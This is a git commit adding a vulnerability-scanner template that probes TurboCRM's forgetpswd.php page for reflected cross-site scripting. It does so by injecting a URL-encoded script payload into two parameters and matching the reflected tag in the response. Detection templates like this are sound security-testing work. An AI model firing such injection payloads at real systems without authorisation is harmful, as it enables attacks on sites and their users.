Create turbocrm-xss.yaml

2021-04-11 00:22:56 +00:00 · 2021-04-11 00:22:56 +00:00 · cdac8b34a6
parent b36ec072d6
commit cdac8b34a6
1 changed files with 25 additions and 0 deletions
--- a/vulnerabilities/other/turbocrm-xss.yaml
+++ b/vulnerabilities/other/turbocrm-xss.yaml
@ -0,0 +1,25 @@
+id: turbocrm-xss
+
+info:
+  name: TurboCRM XSS
+  author: pikpikcu
+  severity: medium
+  reference: https://gist.github.com/pikpikcu/9689c5220abbe04d4927ffa660241b4a
+  tags: xss,turbocrm
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/login/forgetpswd.php?loginsys=1&orgcode=%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E&loginname=%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E'
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - '"><script>alert(/XSS/)</script>'
+        part: body
+
+      - type: status
+        status:
+          - 200